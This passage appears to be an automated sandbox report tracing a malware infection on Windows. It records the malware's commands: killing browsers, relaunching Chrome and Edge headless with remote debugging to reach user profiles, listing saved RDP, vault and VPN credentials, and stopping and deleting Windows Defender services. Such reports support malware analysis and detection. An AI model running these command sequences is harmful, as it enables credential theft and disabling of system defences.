- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM dragon.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM maxthon.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM uc_browser.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM slimjet.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM cent_browser.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM epic.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM torch.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM whale.exe7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM 360browser.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM qqbrowser.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM browser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM msedge.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM brave.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM opera.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM vivaldi.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM firefox.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM dragon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM maxthon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM uc_browser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM slimjet.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM cent_browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM epic.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM torch.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM whale.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM 360browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM qqbrowser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FI "IMAGENAME eq chrome.exe"7⤵
- Enumerates processes with tasklist
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --disable-extensions --disable-gpu --no-sandbox --disable-software-rasterizer --disable-dev-shm-usage --disable-background-networking --disable-default-apps --disable-translate --disable-sync --metrics-recording-only --mute-audio --no-first-run --no-default-browser-check --remote-debugging-port=47748 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default7⤵
- Uses browser remote debugging
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa7815dcf8,0x7ffa7815dd04,0x7ffa7815dd108⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --gpu-preferences=UAAAAAAAAADgAQAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --field-trial-handle=2468,i,10195118227641381390,5618488788005923850,262144 --disable-features=PaintHolding --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2472 /prefetch:28⤵
- Modifies registry class
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2940,i,10195118227641381390,5618488788005923850,262144 --disable-features=PaintHolding --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2936 /prefetch:38⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=3616,i,10195118227641381390,5618488788005923850,262144 --disable-features=PaintHolding --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3612 /prefetch:88⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=47748 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3704,i,10195118227641381390,5618488788005923850,262144 --disable-features=PaintHolding --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3700 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=47748 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3740,i,10195118227641381390,5618488788005923850,262144 --disable-features=PaintHolding --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3732 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=47748 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3988,i,10195118227641381390,5618488788005923850,262144 --disable-features=PaintHolding --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3964 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=4552,i,10195118227641381390,5618488788005923850,262144 --disable-features=PaintHolding --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4548 /prefetch:88⤵
-
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FI "IMAGENAME eq chrome.exe"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe7⤵
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FI "IMAGENAME eq msedge.exe"7⤵
- Enumerates processes with tasklist
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-extensions --disable-gpu --no-sandbox --disable-software-rasterizer --disable-dev-shm-usage --disable-background-networking --disable-default-apps --disable-translate --disable-sync --metrics-recording-only --mute-audio --no-first-run --no-default-browser-check --remote-debugging-port=45038 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default7⤵
- Uses browser remote debugging
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x230,0x234,0x238,0x22c,0x258,0x7ffa7851f208,0x7ffa7851f214,0x7ffa7851f2208⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --gpu-preferences=UAAAAAAAAADgAQAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --always-read-main-dll --field-trial-handle=2788,i,6992820928080942208,2693621705958082165,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2780 /prefetch:28⤵
- Modifies registry class
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=3000,i,6992820928080942208,2693621705958082165,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2992 /prefetch:38⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --always-read-main-dll --field-trial-handle=3116,i,6992820928080942208,2693621705958082165,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3096 /prefetch:88⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --no-sandbox --remote-debugging-port=45038 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3088,i,6992820928080942208,2693621705958082165,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3080 /prefetch:18⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --no-sandbox --remote-debugging-port=45038 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3156,i,6992820928080942208,2693621705958082165,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3152 /prefetch:18⤵
- Uses browser remote debugging
-
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FI "IMAGENAME eq msedge.exe"7⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM chrome.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM msedge.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM brave.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM opera.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM vivaldi.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM firefox.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM dragon.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM maxthon.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM uc_browser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM slimjet.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM cent_browser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM epic.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM torch.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM whale.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM 360browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM qqbrowser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM msedge.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM brave.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM opera.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM vivaldi.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM firefox.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM dragon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM maxthon.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM uc_browser.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM slimjet.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM cent_browser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM epic.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM torch.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM whale.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM 360browser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM qqbrowser.exe7⤵
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM browser.exe7⤵
-
-
C:\Windows\system32\vaultcmd.exe"vaultcmd" /list7⤵
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $entries = cmdkey /list | Select-String \"TERMSRV\" -Context 0,3 foreach ($entry in $entries) { $target = ($entry -split \"target=\")[1].Trim() $ip = $target -replace \"TERMSRV/\", \"\" $userLine = $entry.Context.PostContext | Select-String \"User\" $user = if ($userLine) { ($userLine -split \":\")[1].Trim() } else { \"N/A\" } Write-Output \"Server: $ip | Username: $user\" } "7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmdkey.exe"C:\Windows\system32\cmdkey.exe" /list8⤵
-
-
-
C:\Windows\system32\certutil.exe"certutil" -store My7⤵
-
-
C:\Windows\system32\certutil.exe"certutil" -store -user My7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-VpnConnection | ConvertTo-Json"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $regPath = \"HKCU:\Software\Microsoft\Terminal Server Client\Servers\" if (Test-Path $regPath) { Get-ChildItem $regPath | ForEach-Object { $server = $_.PSChildName $usernamePath = Join-Path $_.PSPath \"UsernameHint\" $username = if (Test-Path $usernamePath) { (Get-ItemProperty -Path $usernamePath -Name \"(default)\" -ErrorAction SilentlyContinue).\"(default)\" } else { \"\" } Write-Output \"Server:$server,Username:$username\" } } "7⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list:TERMSRV/69.48.201.747⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,pathToSignedProductExe,productState /Format:List7⤵
-
-
C:\Windows\system32\hostname.exe"hostname"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-WmiObject Win32_VideoController | ForEach-Object { $_.Name }"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-NetAdapter | Where-Object { $_.Status -eq 'Up' -and $_.InterfaceDescription -notmatch 'virtual|loopback' } | Sort-Object -Property LinkSpeed -Descending | Select-Object -First 1 -ExpandProperty MacAddress"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,pathToSignedProductExe,productState /Format:List7⤵
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall show allprofiles state7⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\10412830101\apple.exe"C:\Users\Admin\AppData\Local\Temp\10412830101\apple.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\261.exe"C:\Users\Admin\AppData\Local\Temp\261.exe"7⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D513.tmp\D514.tmp\D515.bat C:\Users\Admin\AppData\Local\Temp\261.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\261.exe"C:\Users\Admin\AppData\Local\Temp\261.exe" go9⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D5DE.tmp\D5DF.tmp\D5E0.bat C:\Users\Admin\AppData\Local\Temp\261.exe go"10⤵
- Drops file in Program Files directory
-
C:\Windows\system32\sc.exesc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver11⤵
- Launches sc.exe
-
-
C:\Windows\system32\timeout.exetimeout /t 111⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\sc.exesc stop ddrver11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver11⤵
- Launches sc.exe
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y11⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t11⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop "WinDefend"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WinDefend"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "MDCoreSvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MDCoreSvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisSvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisSvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "Sense"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "Sense"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\Sense" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "wscsvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "wscsvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f11⤵
- Modifies security service
-
-
C:\Windows\system32\sc.exesc stop "SgrmBroker"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmBroker"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "SecurityHealthService"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SecurityHealthService"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefsvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefsvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefusersvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefusersvc"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisDrv"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisDrv"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "WdBoot"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdBoot"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "WdFilter"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdFilter"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "SgrmAgent"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmAgent"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecWfp"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecWfp"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecFlt"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecFlt"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecCore"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecCore"11⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f11⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f11⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f11⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f11⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f11⤵
-
-
C:\Windows\system32\sc.exesc stop ddrver11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete ddrver11⤵
- Launches sc.exe
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413350101\d9088b7b8f.exe"C:\Users\Admin\AppData\Local\Temp\10413350101\d9088b7b8f.exe"6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10413350101\d9088b7b8f.exe"7⤵
- Downloads MZ/PE file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413360101\5011f1c791.exe"C:\Users\Admin\AppData\Local\Temp\10413360101\5011f1c791.exe"6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10413360101\5011f1c791.exe"7⤵
- Downloads MZ/PE file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10413370101\ba3399a03a.exe"C:\Users\Admin\AppData\Local\Temp\10413370101\ba3399a03a.exe"6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\10413380101\85240d93ba.exe"C:\Users\Admin\AppData\Local\Temp\10413380101\85240d93ba.exe"6⤵
- Downloads MZ/PE file
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
